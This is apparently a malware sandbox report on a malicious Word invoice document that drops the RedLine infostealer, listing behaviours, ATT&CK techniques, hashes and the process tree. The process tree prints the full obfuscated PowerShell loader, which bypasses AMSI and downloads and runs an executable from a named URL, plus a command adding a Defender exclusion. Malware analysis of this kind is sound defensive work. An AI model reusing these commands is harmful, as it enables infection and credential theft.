Analysis

  • max time kernel
    150s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    11-05-2021 18:52

General

  • Target

    user-invoice-8488888.doc

  • Size

    63KB

  • MD5

    e6fa4e620f40158675e05a337318ee50

  • SHA1

    5b6dfc5bcdd0d9fd0b6ed397c1d325f41784a0d6

  • SHA256

    71adba3a8692ba36d24a2280954bc55db0b0c2a067a84a569682414443893ac7

  • SHA512

    74de666ee675b9683b996bfffaf3e7729cc19ff607124c305e0e317ad74f9aab52844d73d1e08f1503b60d27f627aec98cc9d752241a89570a00ac869b669b9a

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://bitbucket.org/tanake5518/fi/downloads/r1oo.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • Turns off Windows Defender SpyNet reporting 2 TTPs
  • Windows security bypass 2 TTPs
  • Nirsoft 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 10 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 37 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of SetWindowsHookEx 21 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\user-invoice-8488888.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $iZEmScpggwSBpHcRp=@(91,100,111,117,98,108,101,93,36,111,115,118,101,114,32,61,32,91,115,116,114,105,110,103,93,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,97,106,111,114,32,43,32,39,46,39,32,43,32,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,105,110,111,114,59,105,102,32,40,36,111,115,118,101,114,32,45,103,101,32,49,48,46,48,41,32,123,101,99,104,111,32,87,105,110,100,111,119,115,49,48,59,36,84,81,78,61,91,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,46,77,97,114,115,104,97,108,93,58,58,65,108,108,111,99,72,71,108,111,98,97,108,40,40,49,50,52,55,48,45,51,51,57,52,41,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,99,72,65,82,93,40,91,66,121,116,101,93,48,120,52,49,41,43,91,99,72,97,82,93,40,91,66,89,84,69,93,48,120,54,68,41,43,91,67,72,97,114,93,40,91,98,89,84,69,93,48,120,55,51,41,43,91,67,104,65,114,93,40,91,98,121,116,69,93,48,120,54,57,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,67,72,97,82,93,40,91,98,89,116,101,93,48,120,54,49,41,43,91,67,104,97,82,93,40,91,98,89,84,101,93,48,120,54,68,41,43,91,67,104,97,82,93,40,49,52,56,45,51,51,41,43,91,99,72,65,114,93,40,49,48,53,41,41,83,101,115,115,105,111,110,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,36,110,117,108,108,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,99,72,65,82,93,40,91,66,121,116,101,93,48,120,52,49,41,43,91,99,72,97,82,93,40,91,66,89,84,69,93,48,120,54,68,41,43,91,67,72,97,114,93,40,91,98,89,84,69,93,48,120,55,51,41,43,91,67,104,65,114,93,40,91,98,121,116,69,93,48,120,54,57,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,67,72,97,82,93,40,91,98,89,116,101,93,48,120,54,49,41,43,91,67,104,97,82,93,40,91,98,89,84,101,93,48,120,54,68,41,43,91,67,104,97,82,93,40,49,52,56,45,51,51,41,43,91,99,72,65,114,93,40,49,48,53,41,41,67,111,110,116,101,120,116,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,91,73,110,116,80,116,114,93,36,84,81,78,41,59,125,101,108,115,101,32,123,125,59,36,99,108,105,101,110,116,32,61,32,110,101,119,45,111,98,106,101,99,116,32,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,59,36,97,32,61,32,39,104,116,116,112,115,58,47,47,98,105,116,98,117,99,107,101,116,46,111,114,103,47,116,97,110,97,107,101,53,53,49,56,47,102,105,47,100,111,119,110,108,111,97,100,115,47,114,49,111,111,46,101,120,101,39,46,83,112,108,105,116,40,39,44,39,41,59,36,104,117,97,115,32,61,32,36,101,110,118,58,116,101,109,112,32,43,32,39,92,113,114,114,106,97,107,99,101,46,101,120,101,39,59,102,111,114,101,97,99,104,40,36,98,32,105,110,32,36,97,41,123,116,114,121,123,36,99,108,105,101,110,116,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,98,46,84,111,83,116,114,105,110,103,40,41,44,32,36,104,117,97,115,41,59,73,110,118,111,107,101,45,73,116,101,109,40,36,104,117,97,115,41,59,98,114,101,97,107,59,125,99,97,116,99,104,123,119,114,105,116,101,45,104,111,115,116,32,36,95,46,69,120,99,101,112,116,105,111,110,46,77,101,115,115,97,103,101,125,125,59);[System.Text.Encoding]::ASCII.GetString($iZEmScpggwSBpHcRp)|&('I'+'EX');
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2676
      • C:\Users\Admin\AppData\Local\Temp\qrrjakce.exe
        "C:\Users\Admin\AppData\Local\Temp\qrrjakce.exe"
        3⤵
        • Executes dropped EXE
        • Windows security modification
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1040
        • C:\Users\Admin\AppData\Local\Temp\1378b615-8615-4c6f-8cec-912e7b02beaa\AdvancedRun.exe
          "C:\Users\Admin\AppData\Local\Temp\1378b615-8615-4c6f-8cec-912e7b02beaa\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\1378b615-8615-4c6f-8cec-912e7b02beaa\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2964
          • C:\Users\Admin\AppData\Local\Temp\1378b615-8615-4c6f-8cec-912e7b02beaa\AdvancedRun.exe
            "C:\Users\Admin\AppData\Local\Temp\1378b615-8615-4c6f-8cec-912e7b02beaa\AdvancedRun.exe" /SpecialRun 4101d8 2964
            5⤵
              PID:3448
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\qrrjakce.exe" -Force
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2092
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c timeout 1
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3448
            • C:\Windows\SysWOW64\timeout.exe
              timeout 1
              5⤵
              • Delays execution with timeout.exe
              PID:3164
          • C:\Users\Admin\AppData\Local\Temp\qrrjakce.exe
            "C:\Users\Admin\AppData\Local\Temp\qrrjakce.exe"
            4⤵
            • Executes dropped EXE
            PID:4128
          • C:\Users\Admin\AppData\Local\Temp\qrrjakce.exe
            "C:\Users\Admin\AppData\Local\Temp\qrrjakce.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4136
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1040 -s 1604
            4⤵
            • Drops file in Windows directory
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4212

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Disabling Security Tools

    3
    T1089

    Modify Registry

    3
    T1112

    Credential Access

    Credentials in Files

    2
    T1081

    Discovery

    Query Registry

    3
    T1012

    System Information Discovery

    3
    T1082

    Collection

    Data from Local System

    2
    T1005

    Command and Control

    Web Service

    1
    T1102

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      MD5

      1b0dac4d5786e4082ccb9e85b83c057b

      SHA1

      285342a32feeb6cb5d125646e579e9e8c52084a3

      SHA256

      409382e3e67701c3488d158bb7a983274e9c7251308d8ecb076843b7618e0262

      SHA512

      55e821dfaa3c8c6658b15374fd958f6c0e5b29718829de95440c50e52a675c34dc6a36b89335294ea426132bd13b5f79994785d43031fe9ee96c83dc0acc9720

    • C:\Users\Admin\AppData\Local\Temp\1378b615-8615-4c6f-8cec-912e7b02beaa\AdvancedRun.exe
      MD5

      17fc12902f4769af3a9271eb4e2dacce

      SHA1

      9a4a1581cc3971579574f837e110f3bd6d529dab

      SHA256

      29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

      SHA512

      036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

    • C:\Users\Admin\AppData\Local\Temp\1378b615-8615-4c6f-8cec-912e7b02beaa\AdvancedRun.exe
      MD5

      17fc12902f4769af3a9271eb4e2dacce

      SHA1

      9a4a1581cc3971579574f837e110f3bd6d529dab

      SHA256

      29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

      SHA512

      036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

    • C:\Users\Admin\AppData\Local\Temp\1378b615-8615-4c6f-8cec-912e7b02beaa\AdvancedRun.exe
      MD5

      17fc12902f4769af3a9271eb4e2dacce

      SHA1

      9a4a1581cc3971579574f837e110f3bd6d529dab

      SHA256

      29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

      SHA512

      036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

    • C:\Users\Admin\AppData\Local\Temp\qrrjakce.exe
      MD5

      85725f2ce8ff2e36e9a3849e512e8db5

      SHA1

      1059ba9bfa7c2610851ba722aea0e22b9eee9496

      SHA256

      6f26456f887bb2cd91337242a58fb3d9d189b578fc0ce59aed9d2d2feae53637

      SHA512

      14010a44e9f6fa5dbcfecaa816b0239777fc9cffbd1bae53302fc820d31a52e97844393ac423d139129fe69dbff03aeb8f2696aea619964b789473239ebb8263

    • C:\Users\Admin\AppData\Local\Temp\qrrjakce.exe
      MD5

      85725f2ce8ff2e36e9a3849e512e8db5

      SHA1

      1059ba9bfa7c2610851ba722aea0e22b9eee9496

      SHA256

      6f26456f887bb2cd91337242a58fb3d9d189b578fc0ce59aed9d2d2feae53637

      SHA512

      14010a44e9f6fa5dbcfecaa816b0239777fc9cffbd1bae53302fc820d31a52e97844393ac423d139129fe69dbff03aeb8f2696aea619964b789473239ebb8263

    • C:\Users\Admin\AppData\Local\Temp\qrrjakce.exe
      MD5

      85725f2ce8ff2e36e9a3849e512e8db5

      SHA1

      1059ba9bfa7c2610851ba722aea0e22b9eee9496

      SHA256

      6f26456f887bb2cd91337242a58fb3d9d189b578fc0ce59aed9d2d2feae53637

      SHA512

      14010a44e9f6fa5dbcfecaa816b0239777fc9cffbd1bae53302fc820d31a52e97844393ac423d139129fe69dbff03aeb8f2696aea619964b789473239ebb8263

    • C:\Users\Admin\AppData\Local\Temp\qrrjakce.exe
      MD5

      85725f2ce8ff2e36e9a3849e512e8db5

      SHA1

      1059ba9bfa7c2610851ba722aea0e22b9eee9496

      SHA256

      6f26456f887bb2cd91337242a58fb3d9d189b578fc0ce59aed9d2d2feae53637

      SHA512

      14010a44e9f6fa5dbcfecaa816b0239777fc9cffbd1bae53302fc820d31a52e97844393ac423d139129fe69dbff03aeb8f2696aea619964b789473239ebb8263

    • memory/1040-186-0x0000000002EC0000-0x0000000002EC1000-memory.dmp
      Filesize

      4KB

    • memory/1040-183-0x0000000000000000-mapping.dmp
    • memory/2092-192-0x0000000000000000-mapping.dmp
    • memory/2092-196-0x0000000007100000-0x0000000007101000-memory.dmp
      Filesize

      4KB

    • memory/2092-197-0x0000000007102000-0x0000000007103000-memory.dmp
      Filesize

      4KB

    • memory/2092-202-0x000000007F780000-0x000000007F781000-memory.dmp
      Filesize

      4KB

    • memory/2092-203-0x0000000007103000-0x0000000007104000-memory.dmp
      Filesize

      4KB

    • memory/2676-179-0x0000000000000000-mapping.dmp
    • memory/2676-182-0x000002953EB36000-0x000002953EB38000-memory.dmp
      Filesize

      8KB

    • memory/2676-181-0x000002953EB33000-0x000002953EB35000-memory.dmp
      Filesize

      8KB

    • memory/2676-180-0x000002953EB30000-0x000002953EB32000-memory.dmp
      Filesize

      8KB

    • memory/2964-187-0x0000000000000000-mapping.dmp
    • memory/3164-194-0x0000000000000000-mapping.dmp
    • memory/3448-190-0x0000000000000000-mapping.dmp
    • memory/3448-193-0x0000000000000000-mapping.dmp
    • memory/4040-123-0x00007FFFB4CB0000-0x00007FFFB6BA5000-memory.dmp
      Filesize

      31.0MB

    • memory/4040-114-0x00007FFF9B3D0000-0x00007FFF9B3E0000-memory.dmp
      Filesize

      64KB

    • memory/4040-122-0x00007FFFB6BB0000-0x00007FFFB7C9E000-memory.dmp
      Filesize

      16.9MB

    • memory/4040-118-0x00007FFFBCEE0000-0x00007FFFBFA03000-memory.dmp
      Filesize

      43.1MB

    • memory/4040-119-0x00007FFF9B3D0000-0x00007FFF9B3E0000-memory.dmp
      Filesize

      64KB

    • memory/4040-117-0x00007FFF9B3D0000-0x00007FFF9B3E0000-memory.dmp
      Filesize

      64KB

    • memory/4040-116-0x00007FFF9B3D0000-0x00007FFF9B3E0000-memory.dmp
      Filesize

      64KB

    • memory/4040-115-0x00007FFF9B3D0000-0x00007FFF9B3E0000-memory.dmp
      Filesize

      64KB

    • memory/4136-199-0x00000000004163D2-mapping.dmp
    • memory/4136-201-0x00000000057F0000-0x0000000005DF6000-memory.dmp
      Filesize

      6.0MB